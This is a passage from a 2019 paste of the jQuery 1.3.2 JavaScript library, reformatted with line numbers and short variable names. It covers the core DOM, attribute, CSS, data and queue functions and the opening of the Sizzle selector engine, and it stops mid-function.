· 6 years ago · Feb 05, 2019, 11:20 AM
1/*
2 * jQuery JavaScript Library v1.3.2
3 * http://jquery.com/
4 *
5 * Copyright (c) 2009 John Resig
6 * Dual licensed under the MIT and GPL licenses.
7 * http://docs.jquery.com/License
8 *
9 * Date: 2009-02-19 17:34:21 -0500 (Thu, 19 Feb 2009)
10 * Revision: 6246
11 */
12(function () {
13 var l = this,
14 g,
15 y = l.jQuery,
16 p = l.$,
17 o = l.jQuery = l.$ = function (E, F) {
18 return new o.fn.init(E, F)
19 },
20 D = /^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,
21 f = /^.[^:#\[\.,]*$/;
22 o.fn = o.prototype = {
23 init: function (E, H) {
24 E = E || document;
25 if (E.nodeType) {
26 this[0] = E;
27 this.length = 1;
28 this.context = E;
29 return this
30 }
31 if (typeof E === "string") {
32 var G = D.exec(E);
33 if (G && (G[1] || !H)) {
34 if (G[1]) {
35 E = o.clean([G[1]], H)
36 } else {
37 var I = document.getElementById(G[3]);
38 if (I && I.id != G[3]) {
39 return o().find(E)
40 }
41 var F = o(I || []);
42 F.context = document;
43 F.selector = E;
44 return F
45 }
46 } else {
47 return o(H).find(E)
48 }
49 } else {
50 if (o.isFunction(E)) {
51 return o(document).ready(E)
52 }
53 }
54 if (E.selector && E.context) {
55 this.selector = E.selector;
56 this.context = E.context
57 }
58 return this.setArray(o.isArray(E) ? E : o.makeArray(E))
59 },
60 selector: "",
61 jquery: "1.3.2",
62 size: function () {
63 return this.length
64 },
65 get: function (E) {
66 return E === g ? Array.prototype.slice.call(this) : this[E]
67 },
68 pushStack: function (F, H, E) {
69 var G = o(F);
70 G.prevObject = this;
71 G.context = this.context;
72 if (H === "find") {
73 G.selector = this.selector + (this.selector ? " " : "") + E
74 } else {
75 if (H) {
76 G.selector = this.selector + "." + H + "(" + E + ")"
77 }
78 }
79 return G
80 },
81 setArray: function (E) {
82 this.length = 0;
83 Array.prototype.push.apply(this, E);
84 return this
85 },
86 each: function (F, E) {
87 return o.each(this, F, E)
88 },
89 index: function (E) {
90 return o.inArray(E && E.jquery ? E[0] : E, this)
91 },
92 attr: function (F, H, G) {
93 var E = F;
94 if (typeof F === "string") {
95 if (H === g) {
96 return this[0] && o[G || "attr"](this[0], F)
97 } else {
98 E = {};
99 E[F] = H
100 }
101 }
102 return this.each(function (I) {
103 for (F in E) {
104 o.attr(G ? this.style : this, F, o.prop(this, E[F], G, I, F))
105 }
106 })
107 },
108 css: function (E, F) {
109 if ((E == "width" || E == "height") && parseFloat(F) < 0) {
110 F = g
111 }
112 return this.attr(E, F, "curCSS")
113 },
114 text: function (F) {
115 if (typeof F !== "object" && F != null) {
116 return this.empty().append((this[0] && this[0].ownerDocument || document).createTextNode(F))
117 }
118 var E = "";
119 o.each(F || this, function () {
120 o.each(this.childNodes, function () {
121 if (this.nodeType != 8) {
122 E += this.nodeType != 1 ? this.nodeValue : o.fn.text([this])
123 }
124 })
125 });
126 return E
127 },
128 wrapAll: function (E) {
129 if (this[0]) {
130 var F = o(E, this[0].ownerDocument).clone();
131 if (this[0].parentNode) {
132 F.insertBefore(this[0])
133 }
134 F.map(function () {
135 var G = this;
136 while (G.firstChild) {
137 G = G.firstChild
138 }
139 return G
140 }).append(this)
141 }
142 return this
143 },
144 wrapInner: function (E) {
145 return this.each(function () {
146 o(this).contents().wrapAll(E)
147 })
148 },
149 wrap: function (E) {
150 return this.each(function () {
151 o(this).wrapAll(E)
152 })
153 },
154 append: function () {
155 return this.domManip(arguments, true, function (E) {
156 if (this.nodeType == 1) {
157 this.appendChild(E)
158 }
159 })
160 },
161 prepend: function () {
162 return this.domManip(arguments, true, function (E) {
163 if (this.nodeType == 1) {
164 this.insertBefore(E, this.firstChild)
165 }
166 })
167 },
168 before: function () {
169 return this.domManip(arguments, false, function (E) {
170 this.parentNode.insertBefore(E, this)
171 })
172 },
173 after: function () {
174 return this.domManip(arguments, false, function (E) {
175 this.parentNode.insertBefore(E, this.nextSibling)
176 })
177 },
178 end: function () {
179 return this.prevObject || o([])
180 },
181 push: [].push,
182 sort: [].sort,
183 splice: [].splice,
184 find: function (E) {
185 if (this.length === 1) {
186 var F = this.pushStack([], "find", E);
187 F.length = 0;
188 o.find(E, this[0], F);
189 return F
190 } else {
191 return this.pushStack(o.unique(o.map(this, function (G) {
192 return o.find(E, G)
193 })), "find", E)
194 }
195 },
196 clone: function (G) {
197 var E = this.map(function () {
198 if (!o.support.noCloneEvent && !o.isXMLDoc(this)) {
199 var I = this.outerHTML;
200 if (!I) {
201 var J = this.ownerDocument.createElement("div");
202 J.appendChild(this.cloneNode(true));
203 I = J.innerHTML
204 }
205 return o.clean([I.replace(/ jQuery\d+="(?:\d+|null)"/g, "").replace(/^\s*/, "")])[0]
206 } else {
207 return this.cloneNode(true)
208 }
209 });
210 if (G === true) {
211 var H = this.find("*").andSelf(),
212 F = 0;
213 E.find("*").andSelf().each(function () {
214 if (this.nodeName !== H[F].nodeName) {
215 return
216 }
217 var I = o.data(H[F], "events");
218 for (var K in I) {
219 for (var J in I[K]) {
220 o.event.add(this, K, I[K][J], I[K][J].data)
221 }
222 }
223 F++
224 })
225 }
226 return E
227 },
228 filter: function (E) {
229 return this.pushStack(o.isFunction(E) && o.grep(this, function (G, F) {
230 return E.call(G, F)
231 }) || o.multiFilter(E, o.grep(this, function (F) {
232 return F.nodeType === 1
233 })), "filter", E)
234 },
235 closest: function (E) {
236 var G = o.expr.match.POS.test(E) ? o(E) : null,
237 F = 0;
238 return this.map(function () {
239 var H = this;
240 while (H && H.ownerDocument) {
241 if (G ? G.index(H) > -1 : o(H).is(E)) {
242 o.data(H, "closest", F);
243 return H
244 }
245 H = H.parentNode;
246 F++
247 }
248 })
249 },
250 not: function (E) {
251 if (typeof E === "string") {
252 if (f.test(E)) {
253 return this.pushStack(o.multiFilter(E, this, true), "not", E)
254 } else {
255 E = o.multiFilter(E, this)
256 }
257 }
258 var F = E.length && E[E.length - 1] !== g && !E.nodeType;
259 return this.filter(function () {
260 return F ? o.inArray(this, E) < 0 : this != E
261 })
262 },
263 add: function (E) {
264 return this.pushStack(o.unique(o.merge(this.get(), typeof E === "string" ? o(E) : o.makeArray(E))))
265 },
266 is: function (E) {
267 return !!E && o.multiFilter(E, this).length > 0
268 },
269 hasClass: function (E) {
270 return !!E && this.is("." + E)
271 },
272 val: function (K) {
273 if (K === g) {
274 var E = this[0];
275 if (E) {
276 if (o.nodeName(E, "option")) {
277 return (E.attributes.value || {}).specified ? E.value : E.text
278 }
279 if (o.nodeName(E, "select")) {
280 var I = E.selectedIndex,
281 L = [],
282 M = E.options,
283 H = E.type == "select-one";
284 if (I < 0) {
285 return null
286 }
287 for (var F = H ? I : 0, J = H ? I + 1 : M.length; F < J; F++) {
288 var G = M[F];
289 if (G.selected) {
290 K = o(G).val();
291 if (H) {
292 return K
293 }
294 L.push(K)
295 }
296 }
297 return L
298 }
299 return (E.value || "").replace(/\r/g, "")
300 }
301 return g
302 }
303 if (typeof K === "number") {
304 K += ""
305 }
306 return this.each(function () {
307 if (this.nodeType != 1) {
308 return
309 }
310 if (o.isArray(K) && /radio|checkbox/.test(this.type)) {
311 this.checked = (o.inArray(this.value, K) >= 0 || o.inArray(this.name, K) >= 0)
312 } else {
313 if (o.nodeName(this, "select")) {
314 var N = o.makeArray(K);
315 o("option", this).each(function () {
316 this.selected = (o.inArray(this.value, N) >= 0 || o.inArray(this.text, N) >= 0)
317 });
318 if (!N.length) {
319 this.selectedIndex = -1
320 }
321 } else {
322 this.value = K
323 }
324 }
325 })
326 },
327 html: function (E) {
328 return E === g ? (this[0] ? this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g, "") : null) : this.empty().append(E)
329 },
330 replaceWith: function (E) {
331 return this.after(E).remove()
332 },
333 eq: function (E) {
334 return this.slice(E, +E + 1)
335 },
336 slice: function () {
337 return this.pushStack(Array.prototype.slice.apply(this, arguments), "slice", Array.prototype.slice.call(arguments).join(","))
338 },
339 map: function (E) {
340 return this.pushStack(o.map(this, function (G, F) {
341 return E.call(G, F, G)
342 }))
343 },
344 andSelf: function () {
345 return this.add(this.prevObject)
346 },
347 domManip: function (J, M, L) {
348 if (this[0]) {
349 var I = (this[0].ownerDocument || this[0]).createDocumentFragment(),
350 F = o.clean(J, (this[0].ownerDocument || this[0]), I),
351 H = I.firstChild;
352 if (H) {
353 for (var G = 0, E = this.length; G < E; G++) {
354 L.call(K(this[G], H), this.length > 1 || G > 0 ? I.cloneNode(true) : I)
355 }
356 }
357 if (F) {
358 o.each(F, z)
359 }
360 }
361 return this;
362 function K(N, O) {
363 return M && o.nodeName(N, "table") && o.nodeName(O, "tr") ? (N.getElementsByTagName("tbody")[0] || N.appendChild(N.ownerDocument.createElement("tbody"))) : N
364 }
365 }
366 };
367 o.fn.init.prototype = o.fn;
368 function z(E, F) {
369 if (F.src) {
370 o.ajax({
371 url: F.src,
372 async: false,
373 dataType: "script"
374 })
375 } else {
376 o.globalEval(F.text || F.textContent || F.innerHTML || "")
377 }
378 if (F.parentNode) {
379 F.parentNode.removeChild(F)
380 }
381 }
382 function e() {
383 return +new Date
384 }
385 o.extend = o.fn.extend = function () {
386 var J = arguments[0] || {},
387 H = 1,
388 I = arguments.length,
389 E = false,
390 G;
391 if (typeof J === "boolean") {
392 E = J;
393 J = arguments[1] || {};
394 H = 2
395 }
396 if (typeof J !== "object" && !o.isFunction(J)) {
397 J = {}
398 }
399 if (I == H) {
400 J = this;
401 --H
402 }
403 for (; H < I; H++) {
404 if ((G = arguments[H]) != null) {
405 for (var F in G) {
406 var K = J[F],
407 L = G[F];
408 if (J === L) {
409 continue
410 }
411 if (E && L && typeof L === "object" && !L.nodeType) {
412 J[F] = o.extend(E, K || (L.length != null ? [] : {}), L)
413 } else {
414 if (L !== g) {
415 J[F] = L
416 }
417 }
418 }
419 }
420 }
421 return J
422 };
423 var b = /z-?index|font-?weight|opacity|zoom|line-?height/i,
424 q = document.defaultView || {},
425 s = Object.prototype.toString;
426 o.extend({
427 noConflict: function (E) {
428 l.$ = p;
429 if (E) {
430 l.jQuery = y
431 }
432 return o
433 },
434 isFunction: function (E) {
435 return s.call(E) === "[object Function]"
436 },
437 isArray: function (E) {
438 return s.call(E) === "[object Array]"
439 },
440 isXMLDoc: function (E) {
441 return E.nodeType === 9 && E.documentElement.nodeName !== "HTML" || !!E.ownerDocument && o.isXMLDoc(E.ownerDocument)
442 },
443 globalEval: function (G) {
444 if (G && /\S/.test(G)) {
445 var F = document.getElementsByTagName("head")[0] || document.documentElement,
446 E = document.createElement("script");
447 E.type = "text/javascript";
448 if (o.support.scriptEval) {
449 E.appendChild(document.createTextNode(G))
450 } else {
451 E.text = G
452 }
453 F.insertBefore(E, F.firstChild);
454 F.removeChild(E)
455 }
456 },
457 nodeName: function (F, E) {
458 return F.nodeName && F.nodeName.toUpperCase() == E.toUpperCase()
459 },
460 each: function (G, K, F) {
461 var E,
462 H = 0,
463 I = G.length;
464 if (F) {
465 if (I === g) {
466 for (E in G) {
467 if (K.apply(G[E], F) === false) {
468 break
469 }
470 }
471 } else {
472 for (; H < I; ) {
473 if (K.apply(G[H++], F) === false) {
474 break
475 }
476 }
477 }
478 } else {
479 if (I === g) {
480 for (E in G) {
481 if (K.call(G[E], E, G[E]) === false) {
482 break
483 }
484 }
485 } else {
486 for (var J = G[0]; H < I && K.call(J, H, J) !== false; J = G[++H]) {}
487 }
488 }
489 return G
490 },
491 prop: function (H, I, G, F, E) {
492 if (o.isFunction(I)) {
493 I = I.call(H, F)
494 }
495 return typeof I === "number" && G == "curCSS" && !b.test(E) ? I + "px" : I
496 },
497 className: {
498 add: function (E, F) {
499 o.each((F || "").split(/\s+/), function (G, H) {
500 if (E.nodeType == 1 && !o.className.has(E.className, H)) {
501 E.className += (E.className ? " " : "") + H
502 }
503 })
504 },
505 remove: function (E, F) {
506 if (E.nodeType == 1) {
507 E.className = F !== g ? o.grep(E.className.split(/\s+/), function (G) {
508 return !o.className.has(F, G)
509 }).join(" ") : ""
510 }
511 },
512 has: function (F, E) {
513 return F && o.inArray(E, (F.className || F).toString().split(/\s+/)) > -1
514 }
515 },
516 swap: function (H, G, I) {
517 var E = {};
518 for (var F in G) {
519 E[F] = H.style[F];
520 H.style[F] = G[F]
521 }
522 I.call(H);
523 for (var F in G) {
524 H.style[F] = E[F]
525 }
526 },
527 css: function (H, F, J, E) {
528 if (F == "width" || F == "height") {
529 var L,
530 G = {
531 position: "absolute",
532 visibility: "hidden",
533 display: "block"
534 },
535 K = F == "width" ? ["Left", "Right"] : ["Top", "Bottom"];
536 function I() {
537 L = F == "width" ? H.offsetWidth : H.offsetHeight;
538 if (E === "border") {
539 return
540 }
541 o.each(K, function () {
542 if (!E) {
543 L -= parseFloat(o.curCSS(H, "padding" + this, true)) || 0
544 }
545 if (E === "margin") {
546 L += parseFloat(o.curCSS(H, "margin" + this, true)) || 0
547 } else {
548 L -= parseFloat(o.curCSS(H, "border" + this + "Width", true)) || 0
549 }
550 })
551 }
552 if (H.offsetWidth !== 0) {
553 I()
554 } else {
555 o.swap(H, G, I)
556 }
557 return Math.max(0, Math.round(L))
558 }
559 return o.curCSS(H, F, J)
560 },
561 curCSS: function (I, F, G) {
562 var L,
563 E = I.style;
564 if (F == "opacity" && !o.support.opacity) {
565 L = o.attr(E, "opacity");
566 return L == "" ? "1" : L
567 }
568 if (F.match(/float/i)) {
569 F = w
570 }
571 if (!G && E && E[F]) {
572 L = E[F]
573 } else {
574 if (q.getComputedStyle) {
575 if (F.match(/float/i)) {
576 F = "float"
577 }
578 F = F.replace(/([A-Z])/g, "-$1").toLowerCase();
579 var M = q.getComputedStyle(I, null);
580 if (M) {
581 L = M.getPropertyValue(F)
582 }
583 if (F == "opacity" && L == "") {
584 L = "1"
585 }
586 } else {
587 if (I.currentStyle) {
588 var J = F.replace(/\-(\w)/g, function (N, O) {
589 return O.toUpperCase()
590 });
591 L = I.currentStyle[F] || I.currentStyle[J];
592 if (!/^\d+(px)?$/i.test(L) && /^\d/.test(L)) {
593 var H = E.left,
594 K = I.runtimeStyle.left;
595 I.runtimeStyle.left = I.currentStyle.left;
596 E.left = L || 0;
597 L = E.pixelLeft + "px";
598 E.left = H;
599 I.runtimeStyle.left = K
600 }
601 }
602 }
603 }
604 return L
605 },
606 clean: function (F, K, I) {
607 K = K || document;
608 if (typeof K.createElement === "undefined") {
609 K = K.ownerDocument || K[0] && K[0].ownerDocument || document
610 }
611 if (!I && F.length === 1 && typeof F[0] === "string") {
612 var H = /^<(\w+)\s*\/?>$/.exec(F[0]);
613 if (H) {
614 return [K.createElement(H[1])]
615 }
616 }
617 var G = [],
618 E = [],
619 L = K.createElement("div");
620 o.each(F, function (P, S) {
621 if (typeof S === "number") {
622 S += ""
623 }
624 if (!S) {
625 return
626 }
627 if (typeof S === "string") {
628 S = S.replace(/(<(\w+)[^>]*?)\/>/g, function (U, V, T) {
629 return T.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i) ? U : V + "></" + T + ">"
630 });
631 var O = S.replace(/^\s+/, "").substring(0, 10).toLowerCase();
632 var Q = !O.indexOf("<opt") && [1, "<select multiple='multiple'>", "</select>"] || !O.indexOf("<leg") && [1, "<fieldset>", "</fieldset>"] || O.match(/^<(thead|tbody|tfoot|colg|cap)/) && [1, "<table>", "</table>"] || !O.indexOf("<tr") && [2, "<table><tbody>", "</tbody></table>"] || (!O.indexOf("<td") || !O.indexOf("<th")) && [3, "<table><tbody><tr>", "</tr></tbody></table>"] || !O.indexOf("<col") && [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"] || !o.support.htmlSerialize && [1, "div<div>", "</div>"] || [0, "", ""];
633 L.innerHTML = Q[1] + S + Q[2];
634 while (Q[0]--) {
635 L = L.lastChild
636 }
637 if (!o.support.tbody) {
638 var R = /<tbody/i.test(S),
639 N = !O.indexOf("<table") && !R ? L.firstChild && L.firstChild.childNodes : Q[1] == "<table>" && !R ? L.childNodes : [];
640 for (var M = N.length - 1; M >= 0; --M) {
641 if (o.nodeName(N[M], "tbody") && !N[M].childNodes.length) {
642 N[M].parentNode.removeChild(N[M])
643 }
644 }
645 }
646 if (!o.support.leadingWhitespace && /^\s/.test(S)) {
647 L.insertBefore(K.createTextNode(S.match(/^\s*/)[0]), L.firstChild)
648 }
649 S = o.makeArray(L.childNodes)
650 }
651 if (S.nodeType) {
652 G.push(S)
653 } else {
654 G = o.merge(G, S)
655 }
656 });
657 if (I) {
658 for (var J = 0; G[J]; J++) {
659 if (o.nodeName(G[J], "script") && (!G[J].type || G[J].type.toLowerCase() === "text/javascript")) {
660 E.push(G[J].parentNode ? G[J].parentNode.removeChild(G[J]) : G[J])
661 } else {
662 if (G[J].nodeType === 1) {
663 G.splice.apply(G, [J + 1, 0].concat(o.makeArray(G[J].getElementsByTagName("script"))))
664 }
665 I.appendChild(G[J])
666 }
667 }
668 return E
669 }
670 return G
671 },
672 attr: function (J, G, K) {
673 if (!J || J.nodeType == 3 || J.nodeType == 8) {
674 return g
675 }
676 var H = !o.isXMLDoc(J),
677 L = K !== g;
678 G = H && o.props[G] || G;
679 if (J.tagName) {
680 var F = /href|src|style/.test(G);
681 if (G == "selected" && J.parentNode) {
682 J.parentNode.selectedIndex
683 }
684 if (G in J && H && !F) {
685 if (L) {
686 if (G == "type" && o.nodeName(J, "input") && J.parentNode) {
687 throw "type property can't be changed"
688 }
689 J[G] = K
690 }
691 if (o.nodeName(J, "form") && J.getAttributeNode(G)) {
692 return J.getAttributeNode(G).nodeValue
693 }
694 if (G == "tabIndex") {
695 var I = J.getAttributeNode("tabIndex");
696 return I && I.specified ? I.value : J.nodeName.match(/(button|input|object|select|textarea)/i) ? 0 : J.nodeName.match(/^(a|area)$/i) && J.href ? 0 : g
697 }
698 return J[G]
699 }
700 if (!o.support.style && H && G == "style") {
701 return o.attr(J.style, "cssText", K)
702 }
703 if (L) {
704 J.setAttribute(G, "" + K)
705 }
706 var E = !o.support.hrefNormalized && H && F ? J.getAttribute(G, 2) : J.getAttribute(G);
707 return E === null ? g : E
708 }
709 if (!o.support.opacity && G == "opacity") {
710 if (L) {
711 J.zoom = 1;
712 J.filter = (J.filter || "").replace(/alpha\([^)]*\)/, "") + (parseInt(K) + "" == "NaN" ? "" : "alpha(opacity=" + K * 100 + ")")
713 }
714 return J.filter && J.filter.indexOf("opacity=") >= 0 ? (parseFloat(J.filter.match(/opacity=([^)]*)/)[1]) / 100) + "" : ""
715 }
716 G = G.replace(/-([a-z])/ig, function (M, N) {
717 return N.toUpperCase()
718 });
719 if (L) {
720 J[G] = K
721 }
722 return J[G]
723 },
724 trim: function (E) {
725 return (E || "").replace(/^\s+|\s+$/g, "")
726 },
727 makeArray: function (G) {
728 var E = [];
729 if (G != null) {
730 var F = G.length;
731 if (F == null || typeof G === "string" || o.isFunction(G) || G.setInterval) {
732 E[0] = G
733 } else {
734 while (F) {
735 E[--F] = G[F]
736 }
737 }
738 }
739 return E
740 },
741 inArray: function (G, H) {
742 for (var E = 0, F = H.length; E < F; E++) {
743 if (H[E] === G) {
744 return E
745 }
746 }
747 return -1
748 },
749 merge: function (H, E) {
750 var F = 0,
751 G,
752 I = H.length;
753 if (!o.support.getAll) {
754 while ((G = E[F++]) != null) {
755 if (G.nodeType != 8) {
756 H[I++] = G
757 }
758 }
759 } else {
760 while ((G = E[F++]) != null) {
761 H[I++] = G
762 }
763 }
764 return H
765 },
766 unique: function (K) {
767 var F = [],
768 E = {};
769 try {
770 for (var G = 0, H = K.length; G < H; G++) {
771 var J = o.data(K[G]);
772 if (!E[J]) {
773 E[J] = true;
774 F.push(K[G])
775 }
776 }
777 } catch (I) {
778 F = K
779 }
780 return F
781 },
782 grep: function (F, J, E) {
783 var G = [];
784 for (var H = 0, I = F.length; H < I; H++) {
785 if (!E != !J(F[H], H)) {
786 G.push(F[H])
787 }
788 }
789 return G
790 },
791 map: function (E, J) {
792 var F = [];
793 for (var G = 0, H = E.length; G < H; G++) {
794 var I = J(E[G], G);
795 if (I != null) {
796 F[F.length] = I
797 }
798 }
799 return F.concat.apply([], F)
800 }
801 });
802 var C = navigator.userAgent.toLowerCase();
803 o.browser = {
804 version: (C.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
805 safari: /webkit/.test(C),
806 opera: /opera/.test(C),
807 msie: /msie/.test(C) && !/opera/.test(C),
808 mozilla: /mozilla/.test(C) && !/(compatible|webkit)/.test(C)
809 };
810 o.each({
811 parent: function (E) {
812 return E.parentNode
813 },
814 parents: function (E) {
815 return o.dir(E, "parentNode")
816 },
817 next: function (E) {
818 return o.nth(E, 2, "nextSibling")
819 },
820 prev: function (E) {
821 return o.nth(E, 2, "previousSibling")
822 },
823 nextAll: function (E) {
824 return o.dir(E, "nextSibling")
825 },
826 prevAll: function (E) {
827 return o.dir(E, "previousSibling")
828 },
829 siblings: function (E) {
830 return o.sibling(E.parentNode.firstChild, E)
831 },
832 children: function (E) {
833 return o.sibling(E.firstChild)
834 },
835 contents: function (E) {
836 return o.nodeName(E, "iframe") ? E.contentDocument || E.contentWindow.document : o.makeArray(E.childNodes)
837 }
838 }, function (E, F) {
839 o.fn[E] = function (G) {
840 var H = o.map(this, F);
841 if (G && typeof G == "string") {
842 H = o.multiFilter(G, H)
843 }
844 return this.pushStack(o.unique(H), E, G)
845 }
846 });
847 o.each({
848 appendTo: "append",
849 prependTo: "prepend",
850 insertBefore: "before",
851 insertAfter: "after",
852 replaceAll: "replaceWith"
853 }, function (E, F) {
854 o.fn[E] = function (G) {
855 var J = [],
856 L = o(G);
857 for (var K = 0, H = L.length; K < H; K++) {
858 var I = (K > 0 ? this.clone(true) : this).get();
859 o.fn[F].apply(o(L[K]), I);
860 J = J.concat(I)
861 }
862 return this.pushStack(J, E, G)
863 }
864 });
865 o.each({
866 removeAttr: function (E) {
867 o.attr(this, E, "");
868 if (this.nodeType == 1) {
869 this.removeAttribute(E)
870 }
871 },
872 addClass: function (E) {
873 o.className.add(this, E)
874 },
875 removeClass: function (E) {
876 o.className.remove(this, E)
877 },
878 toggleClass: function (F, E) {
879 if (typeof E !== "boolean") {
880 E = !o.className.has(this, F)
881 }
882 o.className[E ? "add" : "remove"](this, F)
883 },
884 remove: function (E) {
885 if (!E || o.filter(E, [this]).length) {
886 o("*", this).add([this]).each(function () {
887 o.event.remove(this);
888 o.removeData(this)
889 });
890 if (this.parentNode) {
891 this.parentNode.removeChild(this)
892 }
893 }
894 },
895 empty: function () {
896 o(this).children().remove();
897 while (this.firstChild) {
898 this.removeChild(this.firstChild)
899 }
900 }
901 }, function (E, F) {
902 o.fn[E] = function () {
903 return this.each(F, arguments)
904 }
905 });
906 function j(E, F) {
907 return E[0] && parseInt(o.curCSS(E[0], F, true), 10) || 0
908 }
909 var h = "jQuery" + e(),
910 v = 0,
911 A = {};
912 o.extend({
913 cache: {},
914 data: function (F, E, G) {
915 F = F == l ? A : F;
916 var H = F[h];
917 if (!H) {
918 H = F[h] = ++v
919 }
920 if (E && !o.cache[H]) {
921 o.cache[H] = {}
922 }
923 if (G !== g) {
924 o.cache[H][E] = G
925 }
926 return E ? o.cache[H][E] : H
927 },
928 removeData: function (F, E) {
929 F = F == l ? A : F;
930 var H = F[h];
931 if (E) {
932 if (o.cache[H]) {
933 delete o.cache[H][E];
934 E = "";
935 for (E in o.cache[H]) {
936 break
937 }
938 if (!E) {
939 o.removeData(F)
940 }
941 }
942 } else {
943 try {
944 delete F[h]
945 } catch (G) {
946 if (F.removeAttribute) {
947 F.removeAttribute(h)
948 }
949 }
950 delete o.cache[H]
951 }
952 },
953 queue: function (F, E, H) {
954 if (F) {
955 E = (E || "fx") + "queue";
956 var G = o.data(F, E);
957 if (!G || o.isArray(H)) {
958 G = o.data(F, E, o.makeArray(H))
959 } else {
960 if (H) {
961 G.push(H)
962 }
963 }
964 }
965 return G
966 },
967 dequeue: function (H, G) {
968 var E = o.queue(H, G),
969 F = E.shift();
970 if (!G || G === "fx") {
971 F = E[0]
972 }
973 if (F !== g) {
974 F.call(H)
975 }
976 }
977 });
978 o.fn.extend({
979 data: function (E, G) {
980 var H = E.split(".");
981 H[1] = H[1] ? "." + H[1] : "";
982 if (G === g) {
983 var F = this.triggerHandler("getData" + H[1] + "!", [H[0]]);
984 if (F === g && this.length) {
985 F = o.data(this[0], E)
986 }
987 return F === g && H[1] ? this.data(H[0]) : F
988 } else {
989 return this.trigger("setData" + H[1] + "!", [H[0], G]).each(function () {
990 o.data(this, E, G)
991 })
992 }
993 },
994 removeData: function (E) {
995 return this.each(function () {
996 o.removeData(this, E)
997 })
998 },
999 queue: function (E, F) {
1000 if (typeof E !== "string") {
1001 F = E;
1002 E = "fx"
1003 }
1004 if (F === g) {
1005 return o.queue(this[0], E)
1006 }
1007 return this.each(function () {
1008 var G = o.queue(this, E, F);
1009 if (E == "fx" && G.length == 1) {
1010 G[0].call(this)
1011 }
1012 })
1013 },
1014 dequeue: function (E) {
1015 return this.each(function () {
1016 o.dequeue(this, E)
1017 })
1018 }
1019 });
1020 /*
1021 * Sizzle CSS Selector Engine - v0.9.3
1022 * Copyright 2009, The Dojo Foundation
1023 * Released under the MIT, BSD, and GPL Licenses.
1024 * More information: http://sizzlejs.com/
1025 */
1026 (function () {
1027 var R = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,
1028 L = 0,
1029 H = Object.prototype.toString;
1030 var F = function (Y, U, ab, ac) {
1031 ab = ab || [];
1032 U = U || document;
1033 if (U.nodeType !== 1 && U.nodeType !== 9) {
1034 return []
1035 }
1036 if (!Y || typeof Y !== "string") {
1037 return ab
1038 }
1039 var Z = [],
1040 W,
1041 af,
1042 ai,
1043 T,
1044 ad,
1045 V,
1046 X = true;
1047 R.lastIndex = 0;
1048 while ((W = R.exec(Y)) !== null) {
1049 Z.push(W[1]);
1050 if (W[2]) {
1051 V = RegExp.rightContext;
1052 break
1053 }
1054 }
1055 if (Z.length > 1 && M.exec(Y)) {
1056 if (Z.length === 2 && I.relative[Z[0]]) {
1057 af = J(Z[0] + Z[1], U)
1058 } else {
1059 af = I.relative[Z[0]] ? [U] : F(Z.shift(), U);
1060 while (Z.length) {
1061 Y = Z.shift();
1062 if (I.relative[Y]) {
1063 Y += Z.shift()
1064 }
1065 af = J(Y, af)
1066 }
1067 }
1068 } else {
1069 var ae = ac ? {
1070 expr: Z.pop(),
1071 set: E(ac)
1072 }
1073 : F.find(Z.pop(), Z.length === 1 && U.parentNode ? U.parentNode : U, Q(U));
1074 af = F.filter(ae.expr, ae.set);
1075 if (Z.length > 0) {
1076 ai = E(af)
1077 } else {
1078 X = false
1079 }
1080 while (Z.length) {
1081 var ah = Z.pop(),
1082 ag = ah;
1083 if (!I.relative[ah]) {
1084 ah = ""
1085 } else {
1086 ag = Z.pop()
1087 }
1088 if (ag == null) {
1089 ag = U
1090 }
1091 I.relative[ah](ai, ag, Q(U))
1092 }
1093 }
1094 if (!ai) {
1095 ai = af
1096 }
1097 if (!ai) {
1098 throw "Syntax error, unrecognized expression: " + (ah || Y)
1099 }
1100 if (H.call(ai) === "[object Array]") {
1101 if (!X) {
1102 ab.push.apply(ab, ai)
1103 } else {
1104 if (U.nodeType === 1) {
1105 for (var aa = 0; ai[aa] != null; aa++) {
1106 if (ai[aa] && (ai[aa] === true || ai[aa].nodeType === 1 && K(U, ai[aa]))) {
1107 ab.push(af[aa])
1108 }
1109 }
1110 } else {
1111 for (var aa = 0; ai[aa] != null; aa++) {
1112 if (ai[aa] && ai[aa].nodeType === 1) {
1113 ab.push(af[aa])
1114 }
1115 }
1116 }
1117 }
1118 } else {
1119 E(ai, ab)
1120 }
1121 if (V) {
1122 F(V, U, ab, ac);
1123 if (G) {
1124 hasDuplicate = false;
1125 ab.sort(G);
1126 if (hasDuplicate) {
1127 for (var aa = 1; aa < ab.length; aa++) {
1128 if (ab[aa] === ab[aa - 1]) {
1129 ab.splice(aa--, 1)
1130 }
1131 }
1132 }
1133 }
1134 }
1135 return ab
1136 };
1137 F.matches = function (T, U) {
1138 return F(T, null, null, U)
1139 };
1140 F.find = function (aa, T, ab) {
1141 var Z,
1142 X;
1143 if (!aa) {
1144 return []
1145 }
1146 for (var W = 0, V = I.order.length; W < V; W++) {
1147 var Y = I.order[W],
1148 X;
1149 if ((X = I.match[Y].exec(aa))) {
1150 var U = RegExp.leftContext;
1151 if (U.substr(U.length - 1) !== "\\") {
1152 X[1] = (X[1] || "").replace(/\\/g, "");
1153 Z = I.find[Y](X, T, ab);
1154 if (Z != null) {
1155 aa = aa.replace(I.match[Y], "");
1156 break
1157 }
1158 }
1159 }
1160 }
1161 if (!Z) {
1162 Z = T.getElementsByTagName("*")
1163 }
1164 return {
1165 set: Z,
1166 expr: aa
1167 }
1168 };
1169 F.filter = function (ad, ac, ag, W) {
1170 var V = ad,
1171 ai = [],
1172 aa = ac,
1173 Y,
1174 T,
1175 Z = ac && ac[0] && Q(ac[0]);
1176 while (ad && ac.length) {
1177 for (var ab in I.filter) {
1178 if ((Y = I.match[ab].exec(ad)) != null) {
1179 var U = I.filter[ab],
1180 ah,
1181 af;
1182 T = false;
1183 if (aa == ai) {
1184 ai = []
1185 }
1186 if (I.preFilter[ab]) {
1187 Y = I.preFilter[ab](Y, aa, ag, ai, W, Z);
1188 if (!Y) {
1189 T = ah = true
1190 } else {
1191 if (Y === true) {
1192 continue
1193 }
1194 }
1195 }
1196 if (Y) {
